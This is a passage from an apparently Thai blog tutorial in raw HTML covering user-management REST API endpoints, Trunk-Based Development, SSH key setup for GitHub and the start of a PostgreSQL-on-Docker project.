    &quot;id&quot;: 1,  # ID &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;
    &quot;name&quot;: &quot;Nuttachot&quot;,
    &quot;email&quot;: &quot;nuttachot@email.com&quot;
}</code></pre><p><strong><strong>PUT /api/v1/users/{user_id}</strong></strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE17;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE15;&#xE32;&#xE21; id &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE38; user_id &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE43;&#xE19; Path<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE31;&#xE49;&#xE07; name &#xE41;&#xE25;&#xE30; email<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; header<br>- &#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE08;&#xE30; Return 404<br>- email &#xE43;&#xE2B;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE44;&#xE21;&#xE48;&#xE0B;&#xE49;&#xE33;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE19;&#xE2D;&#xE37;&#xE48;&#xE19;<br>- &#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE17;&#xE41;&#xE25;&#xE49;&#xE27;</p><pre><code># &#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE17;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE32;&#xE21; id &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE48;&#xE07;
{
    &quot;name&quot;: &quot;Nuttachot Promrit&quot;,
    &quot;email&quot;: &quot;nuttachot.new@email.com&quot;
}

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
{
    &quot;id&quot;: 1,
    &quot;name&quot;: &quot;Nuttachot Promrit&quot;,
    &quot;email&quot;: &quot;nuttachot.new@email.com&quot;
}</code></pre><p><strong><strong>DELETE /api/v1/users/{user_id}</strong></strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE25;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE32;&#xE21; id &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE38; user_id &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE43;&#xE19; Path<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header<br>- &#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE08;&#xE30; Return 404<br>- &#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;</p><pre><code># &#xE25;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE32;&#xE21; id &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
{
    &quot;message&quot;: &quot;User deleted successfully&quot;
}</code></pre><p><strong><strong>GET /health</strong></strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;<br>- &#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49; Bearer Token</p><pre><code># &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C; (&#xE01;&#xE23;&#xE13;&#xE35;&#xE1B;&#xE01;&#xE15;&#xE34;)
{
    &quot;status&quot;: &quot;healthy&quot;,
    &quot;database&quot;: &quot;connected&quot;
}

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C; (&#xE01;&#xE23;&#xE13;&#xE35;&#xE21;&#xE35;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;)
{
    &quot;detail&quot;: &quot;Database connection failed: error message&quot;
}</code></pre><p>Project &#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07; Deploy API &#xE41;&#xE25;&#xE30; Database Server &#xE1A;&#xE19; Docker Container &#xE42;&#xE14;&#xE22;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Git Repository 2 Repo &#xE1A;&#xE19; Github &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48;</p><ol><li>userservice Repo &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A; Codebase &#xE02;&#xE2D;&#xE07; REST API</li><li>userdatabase Repo &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A; Codebase &#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Config PostgreSQL</li></ol><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE22;&#xE31;&#xE07;&#xE21;&#xE35;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Branch &#xE43;&#xE19; Git &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Code &#xE41;&#xE1A;&#xE1A;&#xE23;&#xE27;&#xE21;&#xE28;&#xE39;&#xE19;&#xE22;&#xE4C;&#xE1A;&#xE19; Branch &#xE2B;&#xE25;&#xE31;&#xE01; (main Branch) &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32; <strong><strong>Trunk-Based Development </strong></strong>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; &#xE1A;&#xE23;&#xE34;&#xE29;&#xE31;&#xE17; &#xE40;&#xE0A;&#xE48;&#xE19; Google, Facebook, Netflix &#xE41;&#xE25;&#xE30; Amazon &#xE19;&#xE33;&#xE21;&#xE32;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30; Deploy Code&#xE43;&#xE2B;&#xE21;&#xE48; &#xE46; &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE23;&#xE27;&#xE14;&#xE40;&#xE23;&#xE47;&#xE27;</p><p>&#xE42;&#xE14;&#xE22;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE17;&#xE38;&#xE01;&#xE04;&#xE19;&#xE43;&#xE19;&#xE17;&#xE35;&#xE21;&#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30; Merge Code &#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32;&#xE22;&#xE31;&#xE07; Trunk &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2A;&#xE21;&#xE48;&#xE33;&#xE40;&#xE2A;&#xE21;&#xE2D; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE48;&#xE32;&#xE07;&#xE08;&#xE32;&#xE01; Git flow &#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE21;&#xE35; Branch &#xE2B;&#xE25;&#xE32;&#xE22;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A; &#xE40;&#xE0A;&#xE48;&#xE19; main, develop &#xE2B;&#xE23;&#xE37;&#xE2D; feature Branch</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/tb.png" class="kg-image" alt loading="lazy" width="2000" height="826" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/tb.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/tb.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/tb.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/12/tb.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE1A;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE35;&#xE49;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE21;&#xE35;&#xE40;&#xE19;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE32;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; REST API &#xE40;&#xE17;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19; &#xE41;&#xE15;&#xE48;&#xE22;&#xE31;&#xE07;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Workflow &#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE41;&#xE1A;&#xE1A;&#xE2A;&#xE21;&#xE31;&#xE22;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE40;&#xE19;&#xE49;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE35;&#xE21;&#xE14;&#xE49;&#xE27;&#xE22;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE41;&#xE1A;&#xE1A; Trunk-Based Development &#xE0B;&#xE36;&#xE48;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23; Deploy Software &#xE1A;&#xE19; Docker Container &#xE01;&#xE48;&#xE2D;&#xE19;&#xE19;&#xE33;&#xE02;&#xE36;&#xE49;&#xE19; Production &#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;</p><h2 id="%E0%B8%AA%E0%B8%A3%E0%B9%89%E0%B8%B2%E0%B8%87-ssh-key">&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; SSH Key</h2><ul><li>&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; SSH Key &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Push &#xE41;&#xE25;&#xE30; Pull Code &#xE01;&#xE31;&#xE1A; Git Repo &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1B;&#xE49;&#xE2D;&#xE19; Username &#xE41;&#xE25;&#xE30; Password &#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;</li></ul><pre><code>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; ssh-keygen
ssh-keygen -t ed25519 -C &quot;your_email@example.com&quot;

&#xE41;&#xE2A;&#xE14;&#xE07; public key &#xE1A;&#xE19; Linux
cat ~/.ssh/id_ed25519.pub</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-08-at-1.23.28-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1335" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2024-11-08-at-1.23.28-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2024-11-08-at-1.23.28-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2024-11-08-at-1.23.28-PM.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-08-at-1.23.28-PM.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; cat ~/.ssh/id_ed25519.pub &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE2A;&#xE14;&#xE07; Public Key &#xE14;&#xE31;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;&#xE41;&#xE25;&#xE49;&#xE27; Copy &#xE44;&#xE27;&#xE49;</li></ul><pre><code>ssh-ed25519 ABCAC3NzaC1lZFI1NTE3AAAAIMmPOcXyJu+c/2Ork3pmgBU9FBl1iwxBr97Bh1MxI6sB nuttachot@hotmail.com</code></pre><ul><li>&#xE19;&#xE33; Public Key &#xE44;&#xE1B;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1A;&#xE19; Github Repo &#xE42;&#xE14;&#xE22;&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48;&#xE23;&#xE39;&#xE1B; Profile &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; Your organizations &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE40;&#xE21;&#xE19;&#xE39; SSH and GPG keys &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; New SSH key</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-10-at-9.52.51-AM.png" class="kg-image" alt loading="lazy" width="630" height="1358" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2024-11-10-at-9.52.51-AM.png 600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-10-at-9.52.51-AM.png 630w"></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.27.03.png" class="kg-image" alt loading="lazy" width="2000" height="2167" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-07.27.03.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-07.27.03.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-07.27.03.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.27.03.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D; userdatabase &#xE41;&#xE25;&#xE30;&#xE19;&#xE33; Public key &#xE17;&#xE35;&#xE48; Copy &#xE44;&#xE1B;&#xE27;&#xE32;&#xE07; &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Add SSH key</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-08-at-1.33.40-PM.png" class="kg-image" alt loading="lazy" width="1818" height="1804" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2024-11-08-at-1.33.40-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2024-11-08-at-1.33.40-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2024-11-08-at-1.33.40-PM.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-08-at-1.33.40-PM.png 1818w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE15;&#xE31;&#xE27;&#xE15;&#xE19;</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-08-at-1.35.45-PM.png" class="kg-image" alt loading="lazy" width="1818" height="1804" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2024-11-08-at-1.35.45-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2024-11-08-at-1.35.45-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2024-11-08-at-1.35.45-PM.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-08-at-1.35.45-PM.png 1818w" sizes="(min-width: 720px) 720px"></figure><h2 id="config-postgresql-%E0%B9%81%E0%B8%A5%E0%B8%B0-deploy-%E0%B8%9A%E0%B8%99-docker-container"><strong><strong><strong>Config PostgreSQL &#xE41;&#xE25;&#xE30; Deploy &#xE1A;&#xE19; Docker Container</strong></strong></strong></h2><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE41;&#xE1A;&#xE1A; Trunk-Based Development (TBD) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D; &#xE04;&#xE37;&#xE2D;</p><ul><li><strong><strong>&#xE01;&#xE32;&#xE23; Commit &#xE41;&#xE25;&#xE30; Merge &#xE1A;&#xE48;&#xE2D;&#xE22; &#xE46;</strong></strong> &#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE08;&#xE30; Commit &#xE41;&#xE25;&#xE30; Merge &#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07;&#xE40;&#xE02;&#xE49;&#xE32;&#xE01;&#xE31;&#xE1A; Trunk (Branch &#xE2B;&#xE25;&#xE31;&#xE01;) &#xE1A;&#xE48;&#xE2D;&#xE22;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07; &#xE2D;&#xE32;&#xE08;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE23;&#xE32;&#xE22;&#xE27;&#xE31;&#xE19;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE1A;&#xE48;&#xE2D;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19; &#xE01;&#xE32;&#xE23;&#xE23;&#xE27;&#xE21; Code &#xE1A;&#xE48;&#xE2D;&#xE22; &#xE46; &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE35;&#xE21;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE04;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE25;&#xE30;&#xE25;&#xE14;&#xE42;&#xE2D;&#xE01;&#xE32;&#xE2A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE34;&#xE14; Merge Conflicts &#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;</li><li><strong><strong>&#xE02;&#xE19;&#xE32;&#xE14;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE25;&#xE47;&#xE01;&#xE41;&#xE25;&#xE30;&#xE41;&#xE15;&#xE01; Branch &#xE2A;&#xE31;&#xE49;&#xE19; &#xE46;</strong></strong> &#xE43;&#xE19; TBD &#xE07;&#xE32;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE0A;&#xE34;&#xE49;&#xE19;&#xE04;&#xE27;&#xE23;&#xE08;&#xE30;&#xE40;&#xE25;&#xE47;&#xE01;&#xE1E;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE17;&#xE33;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE44;&#xE14;&#xE49;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE23;&#xE30;&#xE22;&#xE30;&#xE2A;&#xE31;&#xE49;&#xE19; &#xE46; &#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE41;&#xE15;&#xE01; Branch &#xE22;&#xE48;&#xE2D;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19;&#xE21;&#xE32;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE43;&#xE19;&#xE1A;&#xE32;&#xE07;&#xE07;&#xE32;&#xE19; &#xE41;&#xE15;&#xE48; Branch &#xE22;&#xE48;&#xE2D;&#xE22;&#xE19;&#xE31;&#xE49;&#xE19;&#xE04;&#xE27;&#xE23;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE44;&#xE21;&#xE48;&#xE19;&#xE32;&#xE19;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE08;&#xE30; Merge &#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Trunk &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35; Branch &#xE23;&#xE30;&#xE22;&#xE30;&#xE22;&#xE32;&#xE27;</li></ul><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; userdatabase Repo &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A; Codebase &#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Config PostgreSQL &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>.
&#x251C;&#x2500;&#x2500; README.md
&#x251C;&#x2500;&#x2500; backup
&#x2502;   &#x251C;&#x2500;&#x2500; Dockerfile
&#x2502;   &#x2514;&#x2500;&#x2500; backup.sh
&#x251C;&#x2500;&#x2500; backups
&#x251C;&#x2500;&#x2500; docker
&#x2502;   &#x251C;&#x2500;&#x2500; Dockerfile
&#x2502;   &#x2514;&#x2500;&#x2500; init.sql
&#x251C;&#x2500;&#x2500; .env
&#x251C;&#x2500;&#x2500; .gitignore
&#x2514;&#x2500;&#x2500; docker-compose.yml</code></pre><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Folder <strong><strong>userdatabase</strong></strong> &#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Folder &#xE19;&#xE35;&#xE49;&#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Git &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>git init</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.59.35.png" class="kg-image" alt loading="lazy" width="2000" height="1726" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-08-at-11.59.35.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-08-at-11.59.35.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-08-at-11.59.35.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.59.35.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; Github.com &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Git Repo &#xE0A;&#xE37;&#xE48;&#xE2D; <strong><strong>userdatabase</strong></strong> &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE0A;&#xE19;&#xE34;&#xE14; Repo &#xE41;&#xE1A;&#xE1A; Private &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Create repository</li></ul><figure class="kg-card kg-image-card"><img 